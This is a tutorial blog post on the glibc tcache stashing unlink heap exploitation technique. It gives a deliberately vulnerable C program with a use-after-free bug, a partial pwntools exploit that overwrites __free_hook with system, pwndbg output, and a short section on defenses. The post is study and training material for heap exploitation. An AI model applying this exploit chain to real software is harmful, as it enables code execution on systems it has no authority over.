Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
The tcache stashing unlink attack is a clever cross-bin technique that exploits a helpful optimisation: when glibc serves a request from a small bin, it stashes the remaining chunks of that size class into the tcache so future requests are fast. That stashing loop performs an unlink-like write with far fewer checks than a normal unlink, and by corrupting the bk of a chunk in the small bin you can (a) get the allocator to write a libc pointer to an address you choose and (b) stash a forged chunk into the tcache so a later allocation returns an arbitrary pointer. It is, in effect, a smallbin-powered version of tcache poisoning that also yields a free libc-value write.
The technique matters because it routes around defences aimed at the tcache and fastbin fast paths. It fires from the small bin, reached via calloc (which deliberately skips the tcache) or a drained tcache, and it produces two primitives from one trigger. We cover the stashing loop’s exact writes, the count bookkeeping you must set up, and the small-bin integrity check that modern glibc added, which constrains — but does not eliminate — the attack. This assumes tcache-era glibc (2.26+).
Attack Prerequisites
Stashing only happens when a small-bin allocation leaves chunks behind and the tcache has room, so the setup is about arranging counts precisely:
- Two or more chunks in a single small bin — allocate them, then free them so they consolidate into the small bin (they pass through the unsorted bin and are sorted on the next scan).
- Tcache headroom for that size — the matching tcache bin must have fewer than 7 entries (typically pre-loaded to 5 or 6) so the stashing loop runs and reaches your corrupted chunk.
- A write into a small-bin chunk’s
bk(UAF or overflow) to point the last chunk’sbkat a fake chunk near your target. - A
calloc(or drained tcache) path to force allocation from the small bin, sincecallocbypasses the tcache and triggers the stash.
How It Works
When _int_malloc satisfies a request from a small bin, after unlinking the head chunk it runs a stashing loop: while the tcache bin for that size has room and the small bin is non-empty, it takes the last small-bin chunk tc_victim, does bck = tc_victim->bk, then bin->bk = bck; bck->fd = bin; to unlink it from the tail, and calls tcache_put(tc_victim). Two writes matter here. The bck->fd = bin store writes bin — the small bin head, an address inside main_arena (i.e. libc) — into bck + 0x10 (the fd field). And tcache_put(tc_victim) pushes tc_victim into the tcache, so a later malloc of that size hands it back.
The attack corrupts tc_victim->bk to target - 0x10. Then during stashing, bck becomes your fake chunk at target - 0x10, and bck->fd = bin writes a libc pointer to target. That alone is a useful ‘write a libc value to a chosen address’ primitive — enough to corrupt a size field, a counter, or a pointer that only needs to be non-NULL/large. But there is a second, stronger effect: if you point tc_victim->bk at a fully forged chunk, that forged chunk is tcache_put into the tcache, and the next malloc of the size returns it — an arbitrary allocation, exactly like tcache poisoning but obtained through the small-bin stash rather than a direct next overwrite.
Modern glibc constrains this. The small-bin removal path gained an integrity check — if (__glibc_unlikely (bck->fd != victim)) malloc_printerr("malloc(): smallbin double linked list corrupted") — so the forged chunk’s forward/back links must be self-consistent enough to survive validation as the loop walks the bin. In practice that means your fake chunk needs a fd that points back appropriately, so the technique on recent glibc requires laying out a small fake structure (often on a controlled heap region or a known-writable area) rather than a single stray pointer. The core writes are unchanged; the setup is just more exacting.
Vulnerable Code / Setup
The vulnerable program offers allocate/free/edit plus a calloc-backed allocation so the small-bin path can be forced. The bug is the familiar free-without-null enabling a UAF write to a chunk’s bk:
// gcc -O0 -fno-stack-protector -no-pie stash.c -o stash
#include <stdlib.h>
#include <string.h>
char *ptrs[32]; size_t szs[32];
void add(int i, size_t n){ ptrs[i]=malloc(n); szs[i]=n; }
void add_c(int i, size_t n){ ptrs[i]=calloc(1, n); szs[i]=n; } // bypasses tcache
void del(int i){ free(ptrs[i]); } // BUG: no null -> UAF
void edit(int i, char *s, size_t n){ memcpy(ptrs[i], s, n); } // UAF write on bk
CConfirm the protections and glibc — the version dictates whether the smallbin consistency check applies and therefore how elaborate the fake chunk must be:
$ checksec --file=./stash
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ldd --version | head -1
ldd (Ubuntu GLIBC 2.31-0ubuntu9) 2.31
BashWalkthrough / Exploitation
First build the state: two chunks in a small bin and the matching tcache bin pre-loaded with room to spare. A common recipe fills the tcache to 5, then arranges two chunks in the small bin:
from pwn import *
io = process('./stash')
libc = ELF('./libc.so.6')
def add(i,n): ...
def add_c(i,n): ...
def free(i): ...
def edit(i,data): ...
SZ = 0x90
for i in range(7): add(i, SZ) # 7 chunks of the small-bin size
add(20, 0x18) # guard to avoid top-consolidation
for i in range(7): free(i) # fill tcache[0x90] to 7
add_c(21, 0x18) # unrelated, keeps layout
for i in range(2): add(i, SZ) # drain 2 back out (tcache count -> 5)
PythonNow push two chunks into the small bin: free them into the unsorted bin and trigger a scan so they sort into the 0x90 small bin. Inspect with pwndbg to confirm the small bin holds exactly two chunks and the tcache has headroom:
pwndbg> bins
tcachebins
0x90 [ 5]: ...
smallbins
0x90: 0x5555...a10 -> 0x5555...960 -> (main_arena head)
pwndbg> vis_heap_chunks # note the last small-bin chunk; its bk is the target
BashCorrupt the last small-bin chunk’s bk to target - 0x10 (with a self-consistent fake fd on glibc that enforces the smallbin check), then trigger the stash with a calloc of the same size. The stashing loop writes a libc pointer to target and stashes the forged chunk into the tcache:
target = libc.sym['__free_hook'] # pre-2.34 example destination
# overwrite bk of the tail small-bin chunk (index chosen from vis_heap_chunks)
edit(TAIL, p64(fake_fd) + p64(target - 0x10)) # fd (for the check), bk
add_c(22, SZ) # calloc from small bin -> stash runs:
# bck->fd = bin => *(target) = <main_arena/libc pointer>
# tcache_put(fake) => fake chunk now in tcache[0x90]
arb = add(23, SZ) # next malloc returns the forged chunk == arbitrary alloc
edit(23, p64(libc.sym['system'])) # e.g. write system into __free_hook
PythonThe two primitives compose nicely. The libc-value write at target is enough to corrupt a size or pointer field that merely needs to be large or non-NULL, while the arbitrary allocation gives you a controlled write wherever you aimed the forged chunk — over __free_hook/__malloc_hook on glibc < 2.34, or a GOT entry / _IO_FILE field on modern targets. Because the attack originates in the small bin, it is a useful alternative when the fastbin and direct tcache paths are guarded or the layout makes them awkward.
Note:
callocis doing real work here: it deliberately skips the tcache, so it is the clean way to force allocation from the small bin and trigger the stash. If you use plainmalloc, it will satisfy the request from the tcache and the stashing loop never runs. When a stashing exploit does nothing, the first thing to check underbinsis whether the request was served fromtcachebinsinstead ofsmallbins.
Opsec: On glibc with the
smallbin double linked list corruptedcheck, a single straybkpointer aborts immediately — the fake chunk must present afdconsistent with the walk. Lay the fake structure in a region you can read back under gdb, verifyfake->fd->bk == fakesemantics hold for the specific loop, and step thecallocin pwndbg watchingbinsmutate before trusting the arbitrary allocation.
Detection and Defense
The attack is metadata corruption of the small bin, seeded by the usual lifetime bug, and is contained by the same layered controls:
- Null freed pointers and use ownership models so a UAF/overflow cannot reach a small-bin chunk’s
bk. - Run recent glibc — the small-bin doubly-linked-list integrity check raises the setup cost substantially; keep libc patched.
- Full RELRO + PIE narrow the useful destinations for both the libc-value write and the arbitrary allocation.
- Sanitizers — ASan/Valgrind catch the seeding corruption deterministically in CI.
- Monitor glibc aborts —
malloc(): smallbin double linked list corruptedis a direct signature of an attempted stash/unlink corruption.
Real-World Impact
The tcache stashing unlink attack is a staple of intermediate glibc heap challenges and a good illustration of a recurring lesson: performance optimisations that move data between structures with reduced checking become exploitation surfaces. Stashing exists purely to make small-bin allocations warm the tcache, and that convenience is exactly what the technique subverts. It remains relevant on modern glibc — the added small-bin check tightened the setup rather than removing the primitive — and it is frequently the tool of choice when a challenge forces the small-bin path via calloc or a deliberately full tcache.
Conclusion
Tcache stashing turns a helpful cache-warming optimisation into a two-for-one primitive: corrupt the bk of the last small-bin chunk and the stashing loop both writes a libc pointer to your chosen address and pushes a forged chunk into the tcache for a later arbitrary allocation. It fires from the small bin via calloc, sidesteps fast-path defences, and — with a self-consistent fake chunk to satisfy the modern small-bin check — stays viable on current glibc. Set up the counts precisely, verify the bin state under pwndbg, and one calloc yields both a write and a controlled allocation.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments